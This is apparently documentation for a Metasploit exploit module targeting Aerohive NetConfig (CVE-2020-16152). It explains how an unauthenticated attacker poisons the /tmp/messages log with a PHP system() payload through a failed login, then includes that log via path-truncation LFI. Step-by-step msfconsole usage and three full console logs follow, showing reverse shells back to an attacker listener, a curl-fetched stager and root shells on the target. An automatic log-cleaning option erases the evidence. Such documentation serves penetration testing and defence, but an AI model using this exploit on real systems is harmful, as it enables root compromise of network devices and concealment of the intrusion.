## Vulnerable Application
This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older
in order to achieve unauthenticated remote code execution as the root user.

NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable Aerohive NetConfig versions allow for LFI
because they rely on a version of PHP 5 that is vulnerable to string truncation attacks.

The module's `check` method attempts to obtain the Aerohive NetConfig version via a simple HTTP GET request to `/index.php5`.

If the target seems vulnerable based on the version, the module attempts to poison the `/tmp/messages` log file
via the POST parameter `userName` in an intentionally faulty login attempt to `/login.php5`.
The value of `userName` is set to a payload according to this format: `"<?php system($_POST['cmd']);?>"`.
Because failed login attempts are logged to `/tmp/messages` and include the submitted username,
the `/tmp/messages` log can be effectively poisoned in this manner.

Next, the module attempts to run code via `/tmp/messages` by means of an HTTP POST request to `action.php5`.
This request includes two POST parameters:
1. The `_page` parameter, which is the one vulnerable to LFI via path truncation.
2. The parameter that is used to execute commands via `/tmp/messages`.
In our example the name would be `cmd`, but the module sets this to an arbitrary value.

Upon successful exploitation, the Aerohive NetConfig application may hang for as long as the spawned shell remains open.
If the Linux target is selected with a meterpreter payload, the `MeterpreterTryToFork` option is likely to prevent this,
and is therefore enabled by default. If the app does hang, closing the session should render the app responsive again.

The module provides an automatic cleanup option to clean the log.
However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed,
may render the target (temporarily) unexploitable. This state can last over an hour.

Aerohive runs an ARM-based version of Linux. The module supports two targets, a `Linux` target for `ARCH_ARMLE` payloads
and a `CMD` starget for `cmd/unix` payloads.
It should be noted that for the `CMD` target, the only reliable payload seems to be `cmd/unix/reverse_openssl`.

The [original writeup](https://github.com/eriknl/CVE-2020-16152) notes that it is unclear if/when this issue was patched,
so versions after 10.0r8a may still be vulnerable.
Disclosure to the vendor occurred in early 2020 and while the vendor confirmed the problem,
they failed to inform the researcher about the timeline for fixing it.
As a result, the researcher ultimately released the details and PoC on their own
in September of last year. As of now, the CVE status is still `RESERVED`.

This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a.

## Verification Steps
1. Start msfconsole
2. Do: `use exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `exploit`

## Options
### TARGETURI
The base path to Aerohive NetConfig. The default value is `/`.

## Targets
```
Id  Name
--  ----
0   Linux
1   CMD
```

## Scenarios
### Aerohive NetConfig 8.2r4 - Linux target - AUTO_CLEAN_LOG false
```
Module options (exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   AUTO_CLEAN_LOG  false            yes       Automatically clean the /tmp/messages log upon spawning a shell. WARN
                                              ING! This may render the target unexploitable
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          92.168.1.151     yes       The target host(s), see https://github.com/rapid7/metasploit-framewor
                                              k/wiki/Using-Metasploit
   RPORT           443              yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an add
                                              ress on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /                yes       The base path to Aerohive NetConfig
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host


Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.229    yes       The listen address (an interface may be specified)
   LPORT  4000             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux


msf exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > run

[*] Started reverse TCP handler on 192.168.1.229:4000
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Aerohive NetConfig version 8.2r4
[*] Attempting to poison the log at /tmp/messages...
[*] Server responded as expected. Continuing...
[*] Using URL: http://0.0.0.0:8080/tCSLFVW4TC
[*] Local IP: http://192.168.1.229:8080/tCSLFVW4TC
[*] Attempting to execute the payload
[!] In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Client 192.168.1.151 (curl/7.50.1) requested /tCSLFVW4TC
[*] Sending payload to 192.168.1.151 (curl/7.50.1)
[*] Sending stage (902096 bytes) to 192.168.1.151
[!] Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:
   <?php system($_POST['PPv9j']);?>
[!] Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.
[!] Deleting /tmp/messages or clearing out the file may break the application.
[*] Meterpreter session 23 opened (192.168.1.229:4000 -> 192.168.1.151:57350 ) at 2021-11-02 16:51:28 +0000
[*] Server stopped.

meterpreter > shell
Process 2637 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
grep 'php system' /tmp/messages
2021-11-02 11:51:26 notice  ah_webui: security: Admin "<<?php system($_POST['PPv9j']);?>>" failed to log in
```

### Aerohive NetConfig 8.2r4 - Linux target - AUTO_CLEAN_LOG true
```
Module options (exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   AUTO_CLEAN_LOG  true             yes       Automatically clean the /tmp/messages log upon spawning a shell. WARN
                                              ING! This may render the target unexploitable
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          92.168.1.151     yes       The target host(s), see https://github.com/rapid7/metasploit-framewor
                                              k/wiki/Using-Metasploit
   RPORT           443              yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an add
                                              ress on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /                yes       The base path to Aerohive NetConfig
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host


Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.229    yes       The listen address (an interface may be specified)
   LPORT  4001             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux


msf exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > run

[*] Started reverse TCP handler on 192.168.1.229:4001
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Aerohive NetConfig version 8.2r4
[*] Attempting to poison the log at /tmp/messages...
[*] Server responded as expected. Continuing...
[*] Using URL: http://0.0.0.0:8080/d6UNmlXIko
[*] Local IP: http://192.168.1.229:8080/d6UNmlXIko
[*] Attempting to execute the payload
[!] In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Client 192.168.1.151 (curl/7.50.1) requested /d6UNmlXIko
[*] Sending payload to 192.168.1.151 (curl/7.50.1)
[*] Sending stage (902096 bytes) to 192.168.1.151
[*] Attempting to clean the log file at /tmp/messages...
[!] Please note this will render the target (temporarily) unexploitable. This state can last over an hour.
[+] Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.
[*] Meterpreter session 24 opened (192.168.1.229:4001 -> 192.168.1.151:52430 ) at 2021-11-02 16:55:12 +0000
[*] Server stopped.

meterpreter > shell
Process 3096 created.
Channel 1 created.
grep 'php system' /tmp/messages
id
uid=0(root) gid=0(root)
```

### Aerohive NetConfig 8.2r4 - CMD target - AUTO_CLEAN_LOG true
```
Module options (exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   AUTO_CLEAN_LOG  true             yes       Automatically clean the /tmp/messages log upon spawning a shell. WARN
                                              ING! This may render the target unexploitable
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          92.168.1.151     yes       The target host(s), see https://github.com/rapid7/metasploit-framewor
                                              k/wiki/Using-Metasploit
   RPORT           443              yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an add
                                              ress on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /                yes       The base path to Aerohive NetConfig
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host


Payload options (cmd/unix/reverse_openssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.229    yes       The listen address (an interface may be specified)
   LPORT  4949             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   CMD


msf exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > exploit

[*] Started reverse double SSL handler on 192.168.1.229:4949
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Aerohive NetConfig version 8.2r4
[*] Attempting to poison the log at /tmp/messages...
[*] Server responded as expected. Continuing...
[*] Attempting to execute the payload
[!] In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo VHvH3bgm8VU8O8MN;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "VHvH3bgm8VU8O8MN\n"
[*] Matching...
[*] A is input...
[*] Attempting to clean the log file at /tmp/messages...
[!] Please note this will render the target (temporarily) unexploitable. This state can last over an hour.
[+] Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.
[*] Command shell session 22 opened (192.168.1.229:4949 -> 192.168.1.151:42232 ) at 2021-11-02 16:45:53 +0000

id
uid=0(root) gid=0(root)
```
